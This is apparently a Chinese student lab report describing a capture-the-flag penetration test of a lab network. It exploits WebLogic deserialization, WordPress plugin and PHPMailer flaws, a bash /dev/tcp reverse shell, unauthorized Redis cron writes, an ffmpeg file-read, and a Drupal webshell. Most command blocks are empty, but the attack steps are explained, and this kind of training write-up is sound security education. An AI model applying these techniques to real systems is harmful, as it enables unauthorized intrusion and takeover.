Ex7
实验过程
任务一
使用nmap扫描192.168.2.10的端口,得到的扫描结果如下
可见7001端口是开放的,且运行了afs3-callback服务,为了验证是否开放了T3协议和查看WebLogic的版本信息。我们使用如下方式利用nmap进行扫描
可见开放了T3协议,且WebLogic版本为12.1.3.0。接下来就可以利用反序列化漏洞进行提权。这里要先弄清序列化和反序列化。
序列化:Java 序列化是指把 Java 对象转换为字节序列的过程,序列化后的字节数据可以保存在文件、数据库中反序列化:Java 反序列化是指把字节序列恢复为 Java 对象的过程。序列化和反序列化通过ObjectInputStream.readObject()和ObjectOutputStream.writeObject()方法实现。
序列化和反序列化的过程可以用下图表示
在Java中反序列化的过程中,攻击者仅能够控制“数据”,而无法控制怎么执行,因此必须借助被攻击应用的具体场景来实现。这里我们可以利用WebLogic中的反序列化漏洞来实现攻击。反序列化漏洞的的利用工具为WebLogic_EXP.jar,我们执行这个工具,连接到192.168.2.10主机上,连接成功。我们尝试cd切换目录,失败,则直接使用find命令查找/home目录下的包含flag内容的文件,结果如下
可见该文件中应该包含我们需要的内容,查看文件内容得到
flag为 flag6{f67ed0564c9d4055130237cdde2ad486}
任务二
使用nmap扫描网段192.168.2.0/24,可以得到网段中的存活主机如下
依次尝试访问各个主机,最终可知192.168.2.11主机下有wordpress,则该主机为我们的目标主机。wordpress有诸多插件,而其中一些插件可能存在漏洞,我们使用wpscan工具扫描wordpress网站。该工具可以给出wordpress网站的诸多信息。运行工具可以看到使用帮助
故我们先指定wordpress的url对wordpress进行扫描,扫描结果为
可见使用的服务端软件为apache,还可以看到主题为twentyfifteen,我们使用-e选项对该网站上的插件进行枚举,并使用vp指定只显示有漏洞的插件,扫描结果如下
可见wp-hide-security-enhancer有安全漏洞,扫描工具给出了漏洞的参考链接
我们打开参考链接,查看漏洞相关的信息和利用方法。可知利用方法为
其中file_path指定文件的路径。得到的结果为
可以得到flag为flag4{358006170b5d31ff0523c1656df7b82e}
任务三
配置好代理,访问wordpress找回密码页面,burpsuite拦截到对应的数据包,发送给repeater,在repeater中的数据包如下
phpmailer组件是调用linux系统命令sendmail进行邮件发送,命令格式为: sendmail -t -i -fusername@hostname
。在漏洞文件class.phpmailer.php中serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此我们可以进行任意构造拼接,从而产生了系统命令注入漏洞。该漏洞利用的自动化脚本为wp.sh,查看该脚本的使用方法。
按照使用方法运行脚本,得到的结果如下
得到flag为flag3{452755af28285ffd6615866f61bb23e6}
任务四
查看漏洞利用脚本wordpress-rce-exploit.sh,可知其内容中关键的区别地方在于使用了bash反弹shell
|
|
这段代码的理解如下
- bash -i打开一个bash进行交互
- >& 是将标准输出和标准错误输出重定向,>& /dev/tcp/$rev_host/7777就将bash的标准输出和标准错误输出重定向到一个tcp连接中,该tcp连接的目标主机是rev_host,端口号为7777,这样将bash的输出传给了操作机,0>&1则是将标准输入也重定向到标准输出,因为刚才已经将标准输出重定向给了tcp连接,故从tcp传来的命令也会回传给操作机而不会在目标机上显示。
根据代码可知,在rev_host处应该填入操作机的ip地址192.168.2.200,在操作机使用netcat监听7777端口的tcp连接
nc 全称为 netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流,可运行在 TCP 或者 UDP 模式,添加参数—u 则调整为 udP,默认为 tcp。• -v 参数,详细输出• -n 参数,netcat 不要 DNS 反向查询 IP 的域名• -z 参数,连接成功后立即关闭连接
使用漏洞利用脚本获取反弹shell,如下
则可收到目标机的tcp连接,并可以运行命令
查看目标机home目录下存在flag5的文件
得到flag为flag5{2591c98b70119fe624898b1e424b5e91} 为了上传tunnel文件,我们在regeorg文件夹中使用python启动一个简单的http服务,这样该文件夹下的所有文件都会成为服务器网站文件的一部分,命令为
|
|
根据前面的实验可知,tunnel文件应存放在 /var/www/html/wordpress目录中,故可以用wget将文件下载到该目录
|
|
首先按开启代理,执行连接命令为
|
|
在proxychains中修改代理地址, 修改proxychains.conf
ProxyChains 是 Linux 和其他 Unix 下的代理工具。它可以使任何程序通过代理上网,允许 TCP 和 DNS 通过代理隧道,支持 HTTP、SOCKS4 和 SOCKS5 类型的代理服务器,并且可配置多个代理。ProxyChains 通过一个用户定义的代理列表强制连接指定的应用程序,直接断开接收方和发送方的连接。ProxyChains 的配置文件位于 /etc/proxychains.conf ,打开后你需要在末尾添加你使用的代理。
接下来扫描 192.168.1.10 网段
实验五
扫描任务四得到的192.168.1.x网段中的各个主机的端口,得到其开启的端口服务,结果为
根据扫描结果可知,主机 192.168.1.11 开启了 web(端口号 80)服务和 redis(端口号)6379 服务,因此本机为该任务的目标机。连接redis服务器查看配置文件位置,首先连接192.168.1.11的redis服务器,这里redis允许外连且没有设置密码,可以随意访问。正常情况下可以写入文件,但是尝试过程中发现,必要的 config 命令被替换了。而 config 命令的替换一定是写在 redis 的配置文件中的。
使用info命令查看配置信息:
则可知配置文件的位置为/etc/redis/63799.conf 在浏览器中访问192.168.1.11
可知上传文件的路径为192.168.1.11/upload,且由这个页面可知该页面是通过 ffmpeg 处理视频的小应用,只有上传,下载和删除功能,此处存在 ffmpeg 文件读取漏洞,构造特定的 avi 视频,经过 ffmpeg 处理之后的视频就会包含想要的文件内容。利用文件读取漏洞获取 redis 配置文件内容。使用gen_xbin_avi.py生成payload,命令为
|
|
访问upload页面,上传我们刚才生成的avi文件conf.avi,上传后网站返回的结果乱码。
乱码的原因是网页编码不正确,我们修改一下编码,查看乱码的内容是什么,在text encoding中将编码种类修改为Unicode
根据提示我们将文件名修改为123.avi,再次上传文件
可见上传成功,访问download可以看到提示下载一个名为456.avi的文件。我们下载这个文件
查看文件内容可见config被替换为ccoonnffiigg,这样我们可以用ccoonnffiigg来进行配置,并写入文件。 /var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root 用户可以修改任意用户的计划任务。dbfilename 设置为 root 为用 root 用户权限执行计划任务。如果目标服务器存在redis 未授权访问,就可以利用任务计划反弹 shell。首先设置数据库备份目录为 linux 计划任务目录,命令为:
|
|
设置备份文件名为 root,以 root 身份执行计划任务,命令为:
|
|
接下来设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,命令为:
|
|
在操作机上执行命令 nc -l -p 9999,监听 9999 端口,得到反弹 shell, 在 redis 的配置文件/etc/redis/63799.conf中获得flag1:
flag1为flag1{7bed46c5c61c0ac625cebf8a9922cc48} 查看/home/flag目录下的文件,得到flag2为
flag2为flag2{86a1b907d54bf7010394bf316e183e67}
任务六
使用浏览器结合proxychains访问内网中使用了drupal8的web应用,命令行打开firefox,根据提示可知目标机为192.168.1.10,尝试在浏览器中直接访问
尝试弱口令登录网站后台,使用用户名admin和密码admin,登陆成功。
根据CVE-2017-6920漏洞有关的介绍,我们先访问如下链接
http://192.168.1.10/admin/config/development/configuration/single/import
上传drupal_poc.txt的内容,上传之后跳转到phpinfo()界面得到网站信息
上传drupal_exp.txt的内容
上传后访问 192.168.1.10/shell.php,得到
用Cknife设置代理连接webshell获取网站的权限。打开菜刀
连接到shell.php
连接成功,查看其中的flag.php,得到flag12
flag12为flag12{c2ce1971e3a10498a64da8c7f3a70091} 查看home目录下的flag文件,得到flag8
flag8为flag8{d969246731846291b32cd819bf0e7ff6}